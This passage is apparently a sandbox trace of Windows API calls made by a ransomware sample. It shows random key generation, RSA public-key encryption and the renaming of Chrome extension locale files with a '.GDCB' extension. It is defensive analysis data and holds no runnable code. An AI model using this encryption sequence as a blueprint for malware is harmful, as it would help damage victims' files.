CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0280.613] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0280.613] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0280.616] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0280.618] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0280.618] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0280.618] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0280.619] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0280.621] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x678f860) returned 1 [0280.621] CryptGetKeyParam (in: hKey=0x678f860, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0280.621] CryptEncrypt (in: hKey=0x678f860, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xce00000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xce00000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0280.622] GetLastError () returned 0x0 [0280.622] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0280.622] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4980) returned 1 [0280.624] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x678f2e0) returned 1 [0280.624] CryptGetKeyParam (in: hKey=0x678f2e0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0280.624] CryptEncrypt (in: hKey=0x678f2e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xce10000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xce10000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0280.624] GetLastError () returned 0x0 [0280.624] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0280.624] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sl\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sl\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0280.627] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xce20000 [0280.630] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xce30000 [0280.633] ReadFile (in: hFile=0x470, lpBuffer=0xce30000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xce30000*, lpNumberOfBytesRead=0x285ced8*=0x407a, lpOverlapped=0x0) returned 1 [0280.649] VirtualAlloc (lpAddress=0x0, dwSize=0x4080, flAllocationType=0x3000, flProtect=0x4) returned 0xcf40000 [0280.655] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sl\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sl\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sl\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sl\\messages.json.gdcb")) returned 1 [0280.696] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0280.699] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0280.701] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0280.702] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0280.702] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0280.702] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0280.704] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0280.708] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0280.708] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0280.708] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0280.709] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4980) returned 1 [0280.711] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x678f560) returned 1 [0280.711] CryptGetKeyParam (in: hKey=0x678f560, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0280.711] CryptEncrypt (in: hKey=0x678f560, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xce00000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xce00000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0280.712] GetLastError () returned 0x0 [0280.712] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0280.712] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0280.714] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x678f4e0) returned 1 [0280.714] CryptGetKeyParam (in: hKey=0x678f4e0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0280.714] CryptEncrypt (in: hKey=0x678f4e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xce10000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xce10000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0280.714] GetLastError () returned 0x0 [0280.714] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0280.714] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sr\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sr\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0280.715] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xce20000 [0280.720] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xce30000 [0280.723] ReadFile (in: hFile=0x470, lpBuffer=0xce30000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xce30000*, lpNumberOfBytesRead=0x285ced8*=0x49c1, lpOverlapped=0x0) returned 1 [0280.732] VirtualAlloc (lpAddress=0x0, dwSize=0x49d0, flAllocationType=0x3000, flProtect=0x4) returned 0xcf40000 [0280.739] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sr\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sr\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sr\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sr\\messages.json.gdcb")) returned 1 [0280.745] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0280.752] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0280.756] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0280.756] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0280.756] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0280.756] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0280.759] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0280.761] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0280.761] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0280.761] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0280.761] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0280.764] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x678f2a0) returned 1 [0280.764] CryptGetKeyParam (in: hKey=0x678f2a0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0280.764] CryptEncrypt (in: hKey=0x678f2a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xce00000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xce00000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0280.764] GetLastError () returned 0x0 [0280.764] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0280.764] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0280.767] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x678f1e0) returned 1 [0280.767] CryptGetKeyParam (in: hKey=0x678f1e0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0280.767] CryptEncrypt (in: hKey=0x678f1e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xce10000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xce10000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0280.767] GetLastError () returned 0x0 [0280.767] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0280.767] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sv\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sv\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0280.768] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xce20000 [0280.771] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xce30000 [0280.774] ReadFile (in: hFile=0x470, lpBuffer=0xce30000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xce30000*, lpNumberOfBytesRead=0x285ced8*=0x3e96, lpOverlapped=0x0) returned 1 [0280.784] VirtualAlloc (lpAddress=0x0, dwSize=0x3ea0, flAllocationType=0x3000, flProtect=0x4) returned 0xcf40000 [0280.790] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sv\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sv\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sv\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sv\\messages.json.gdcb")) returned 1 [0280.797] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0280.800] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0280.802] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0280.802] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0280.802] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0280.802] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0280.804] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0280.806] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0280.806] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0280.806] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0280.807] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0280.809] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x678f8a0) returned 1 [0280.809] CryptGetKeyParam (in: hKey=0x678f8a0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0280.809] CryptEncrypt (in: hKey=0x678f8a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xce00000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xce00000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0280.810] GetLastError () returned 0x0 [0280.810] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0280.810] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0280.812] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x678f320) returned 1 [0280.812] CryptGetKeyParam (in: hKey=0x678f320, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0280.812] CryptEncrypt (in: hKey=0x678f320, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xce10000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xce10000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0280.812] GetLastError () returned 0x0 [0280.812] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0280.812] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sw\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sw\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0280.814] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xce20000 [0280.817] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xce30000 [0280.819] ReadFile (in: hFile=0x470, lpBuffer=0xce30000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xce30000*, lpNumberOfBytesRead=0x285ced8*=0x3e8b, lpOverlapped=0x0) returned 1 [0280.839] VirtualAlloc (lpAddress=0x0, dwSize=0x3e90, flAllocationType=0x3000, flProtect=0x4) returned 0xcf40000 [0280.858] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sw\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sw\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sw\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sw\\messages.json.gdcb")) returned 1 [0280.864] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0280.868] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0280.870] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0280.870] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0280.870] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0280.870] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4980) returned 1 [0280.874] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0280.877] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0280.878] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0280.878] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0280.879] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0280.881] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x678f820) returned 1 [0280.882] CryptGetKeyParam (in: hKey=0x678f820, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0280.882] CryptEncrypt (in: hKey=0x678f820, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xce00000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xce00000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0280.882] GetLastError () returned 0x0 [0280.882] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0280.882] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0280.884] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x678f0e0) returned 1 [0280.884] CryptGetKeyParam (in: hKey=0x678f0e0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0280.884] CryptEncrypt (in: hKey=0x678f0e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xce10000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xce10000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0280.885] GetLastError () returned 0x0 [0280.885] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0280.885] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ta\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ta\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0280.886] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xce20000 [0280.890] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xce30000 [0280.893] ReadFile (in: hFile=0x470, lpBuffer=0xce30000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xce30000*, lpNumberOfBytesRead=0x285ced8*=0x563d, lpOverlapped=0x0) returned 1 [0280.902] VirtualAlloc (lpAddress=0x0, dwSize=0x5640, flAllocationType=0x3000, flProtect=0x4) returned 0xcf40000 [0280.909] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ta\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ta\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ta\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user 